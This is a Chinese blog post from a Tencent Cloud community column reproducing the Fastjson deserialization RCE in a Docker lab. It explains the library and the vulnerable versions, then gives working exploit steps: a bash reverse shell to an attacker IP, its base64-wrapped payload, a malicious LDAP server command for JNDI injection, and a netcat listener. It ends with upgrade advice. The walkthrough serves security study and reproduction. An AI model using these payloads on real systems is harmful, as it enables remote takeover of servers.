前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现 - - - Fastjson反序列化漏洞

漏洞复现 - - - Fastjson反序列化漏洞

作者头像
干掉芹菜
发布2022-11-19 14:32:47
1.3K0
发布2022-11-19 14:32:47
举报
文章被收录于专栏:网络安全615网络安全615

一,Fastjson简介

1.Fastjson是什么

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。Fastjson 源码地址:https://github.com/alibaba/fastjson

2.Fastjson有什么用

将 Java 对象转换为 JSON 格式,当然也可将JSON格式转换为Java格式

3.什么是是反序列化

我们搞懂了什么是fastjson那我们理解一下序列化,反序列化又是什么意思呢 。

序列化:将对象转化成字节的过程 作用:因为对象统一存储在JVM中,所以就导致了如果JVM关闭,对象也就会消失。而序列化就可以将对象转换为字节的序列,可以写进硬盘文件中实现长期的保存。 反序列化:将字节转化成对象的过程 作用:将序列组成的字节,转换为对象。 对象序列化就是将对象的数据复制一个一模一样的对象(个人理解)

4. Fastjson漏洞产生原因

反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的 漏洞信息: fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。影响版本fastjson <= 1.2.24。 Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。影响版本fastjson <1.2.48。 取自合天网安实验室

二,漏洞利用(反弹shell)

靶机:Centos7+docker+fastjson1.2.25  IP地址:10.1.1.119:8080 攻击机:Kali   IP地址:10.1.1.148 利用工具请下载使用:fastjsonRCE

我们在外网看到了使用了fastjson我们直接对其进行利用,我们这里通过ldap+jndi注入的方式实现RCE,基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

 1.python将反弹shell的命令进行base64编码

python  import base64 base64.b64encode('/bin/bash -i >& /dev/tcp/10.1.1.148/2333 0>&1')      //映射端口设置为2333

2.执行命令启动ldap服务器

java -cp fastjson_tool.jar fastjson.HLDAPServer 10.1.1.148 1234 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEuMS4xNDgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" //java -cp fastjson_tool.jar fastjson.HLDAPServer ip port"要执行的命令" //在本地2333端口上启动一个ldap服务器,10.1.1.148为本机IP,并指定加载远程类,因为是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。所以我们需要java为我们提供的命令执行环境,不支持管道符、输入输出重定向,因此需要base64编码。

3.监听端口

nc -lvvp 2333 

 4.使用bp

将抓到的请求修改为POST请求。 Content-Type 修改为 application/json  然后将playload复制到bp发送 查看监听的端口,就复现成功

 三, 漏洞修复

1. fastjson 版本至少升级到 1.2.58。 2.及时升级Java环境版本

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一,Fastjson简介
    • 1.Fastjson是什么
      • 2.Fastjson有什么用
        • 3.什么是是反序列化
          • 4. Fastjson漏洞产生原因
            •  1.python将反弹shell的命令进行base64编码
            • 2.执行命令启动ldap服务器
            • 3.监听端口
        • 二,漏洞利用(反弹shell)
        •  三, 漏洞修复
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档